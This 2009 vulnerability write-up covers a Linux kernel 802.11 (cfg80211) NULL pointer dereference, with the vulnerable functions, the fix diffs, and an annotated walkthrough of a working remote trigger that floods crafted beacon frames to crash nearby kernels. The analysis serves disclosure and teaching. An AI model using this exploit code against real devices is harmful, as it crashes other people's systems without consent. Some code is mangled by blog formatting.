xorl %eax, %eax

Linux kernel CFG 802.11 Remote NULL Pointer Dereference

with 2 comments

Firstly, thanks to Jon Oberheide for bringing this issue to my attention. :)
Now, the bug was reported by Johannes Berg and it affects Linux kernel prior to 2.6.30.5 release. Here is the first vulnerable routine located at net/wireless/scan.c:

static int cmp_ies(u8 num, u8 *ies1, size_t len1, u8 *ies2, size_t len2)
{
        const u8 *ie1 = find_ie(num, ies1, len1);
        const u8 *ie2 = find_ie(num, ies2, len2);
        int r;

        if (!ie1 && !ie2)
                return 0;
        if (!ie1)
                return -1;

        r = memcmp(ie1 + 2, ie2 + 2, min(ie1[1], ie2[1]));
        if (r == 0 && ie1[1] != ie2[1])
                return ie2[1] - ie1[1];
        return r;
}

This routine compares IE (Information Element) data from ‘ies1’ and ‘ies2’ and their corresponding lengths. The pointers to their data are retrived using find_ie() and stored into ‘ie1’ and ‘ie2’ respectively. The first if condition checks that both are NULL. If this is the case, it will return 0. The second check checks only if ‘ie1’ is NULL. This means that if ‘ie2’ is NULL, the checks would be bypassed and the access to it during memcmp() would result in NULL pointer dereference. This was patched by applying the following fix:

 		return 0;
-	if (!ie1)
+	if (!ie1 || !ie2)
 		return -1;

Quite simple.
The second routine which is also located in the same source code file is this:

static bool is_mesh(struct cfg80211_bss *a,
                    const u8 *meshid, size_t meshidlen,
                    const u8 *meshcfg)
{
        const u8 *ie;

        if (!is_zero_ether_addr(a->bssid))
                return false;

        ie = find_ie(WLAN_EID_MESH_ID,
                     a->information_elements,
                     a->len_information_elements);

        if (ie[1] != meshidlen)
                return false;
        if (memcmp(ie + 2, meshid, meshidlen))
                return false;

        ie = find_ie(WLAN_EID_MESH_CONFIG,
                     a->information_elements,
                     a->len_information_elements);
        if (ie[1] != IEEE80211_MESH_CONFIG_LEN)
                return false;

        /*
         * Ignore mesh capability (last two bytes of the IE) when
         * comparing since that may differ between stations taking
         * part in the same mesh.
         */
        return memcmp(ie + 2, meshcfg, IEEE80211_MESH_CONFIG_LEN - 2) == 0;
}

Once again, it gets the IE using find_ie() for WLAN_EID_MESH_ID and checks if that return value is NULL. Even though this could be NULL, it is not being checked and the subsequent access to ‘ie[1]’ as well as the memcmp() would result in NULL pointer dereference. This was patched like this:

 		     a->len_information_elements);
+	if (!ie)
+		return false;
 	if (ie[1] != IEEE80211_MESH_CONFIG_LEN)

Jon Oberheide wrote a trigger code for that bug which you can find here. What it does is…

#define BEACON_NOSSID \
“\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff” \
“\x00\x03\x52\x00\x00\x00” \
“\x00\x03\x52\x00\x00\x00” \
“\x30\x4b” \
“\x5f\x74\x34\x77\xdb\x03\x00\x00\x64\x00\x21\x04” \
“\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24” \
“\x03\x01\x07” \
“\x05\x04\x00\x01\x01\x00” \
“\x2a\x01\x04” \
“\x32\x04\x30\x48\x60\x6c”
#define BEACON_NOSSID_LEN 64

#define BEACON_SSID \
“\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff” \
“\x00\x03\x52\x00\x00\x00” \
“\x00\x03\x52\x00\x00\x00” \
“\x30\x4b” \
“\x5f\x74\x34\x77\xdb\x03\x00\x00\x64\x00\x21\x04” \
“\x00\x03\x44\x6f\x53” \
“\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24” \
“\x03\x01\x07” \
“\x05\x04\x00\x01\x01\x00” \
“\x2a\x01\x04” \
“\x32\x04\x30\x48\x60\x6c”
#define BEACON_SSID_LEN 69

usage(char **argv)
{
int i;
struct tx80211_cardlist *cardlist;

printf(“Usage: %s [interface] [drivername]\n”, argv[0]);

cardlist = tx80211_getcardlist();

if (cardlist == NULL) {
printf(“Error accessing supported cardlist.\n”);
} else {
printf(“\nSupported drivers are: “);
for (i = 1; i < cardlist->num_cards; i++) {
printf(“%s “, cardlist->cardnames[i]);
}
printf(“\n”);
}
tx80211_freecardlist(cardlist);
}

int
main(int argc, char **argv)
{
struct tx80211 tx;
struct tx80211_packet pkt;
char p1[BEACON_NOSSID_LEN];
char p2[BEACON_SSID_LEN];
int ret, drivertype;
uint8_t randbyte;

if (argc < 3) { usage(argv); return 0; } [/sourcecode] So, after getting a valid interface and driver name as the arguments of the program. The following code will be executed: [sourcecode language="c"] printf("[+] Initializing interface %s...\n", argv[1]); drivertype = tx80211_resolvecard(argv[2]); if (drivertype == INJ_NODRIVER) { printf("[-] Driver name not recognized.\n"); exit(1); } ret = tx80211_init(&tx, argv[1], drivertype); if (ret < 0) { printf("[-] Error initializing %s/%s", argv[1], argv[2]); exit(1); } [/sourcecode] He retrieves the driver through tx80211_resolvecard() and initializes 'tx' structure with the interface and the equivalent device driver for that wireless device. The code continues like this: [sourcecode language="c"] ret = tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON); if (ret != 0) { printf("[-] Error setting monitor mode.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } ret = tx80211_setchannel(&tx, 11); if (ret < 0) { printf("[-] Error setting channel.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } [/sourcecode] Functional mode is set to TX80211_FUNCMODE_INJMON which is commonly known as monitor/injection mode, and channel is set to 11. [sourcecode language="c"] ret = tx80211_open(&tx); if (ret < 0) { printf("[-] Unable to open interface %s\n", tx.ifname); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } srand(time(NULL)); memcpy(p1, BEACON_NOSSID, BEACON_NOSSID_LEN); memcpy(p2, BEACON_SSID, BEACON_SSID_LEN); [/sourcecode] The network interface is opened using tx80211_open() routine and 'p1' and 'p2' are initialized with the contents of BEACON_NOSSID and BEACON_SSID respectively. The final part of the code is quite simple... [sourcecode language="c"] printf("[+] Injecting crafted DoS beacon frames...\n"); while (1) { randbyte = rand() & 0xff; p1[15] = randbyte; p1[21] = randbyte; p2[15] = randbyte; p2[21] = randbyte; pkt.packet = p1; pkt.plen = BEACON_NOSSID_LEN; if (tx80211_txpacket(&tx, &pkt) < 0) { printf("[-] Unable to transmit packet.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } pkt.packet = p2; pkt.plen = BEACON_SSID_LEN; if (tx80211_txpacket(&tx, &pkt) < 0) { printf("[-] Unable to transmit packet.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } } tx80211_close(&tx); return 0; } [/sourcecode] He randomly updates bytes p1[15], p1[21], p2[15] and p2[21] and sends the two packets using tx80211_txpacket().

Written by xorl

August 18, 2009 at 19:11

Posted in bugs, linux

2 Responses

Subscribe to comments with RSS.

  1. FYI, the randomly updated bytes are the BSSID address which is randomized each iteration. Since the NULL deref is only triggered when the beacon without an SSID IE is received and stored first, there’s a slim chance that the victim could miss the first frame during its scan. So we just tweak the BSSID each time to ensure reliability.

    Jon Oberheide

    August 18, 2009 at 21:27

  2. Nice to know.
    I think it is obvious that I didn’t describe the packets that you are sending since I didn’t have much time to do so. Sorry for that.

    xorl

    August 19, 2009 at 05:57


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s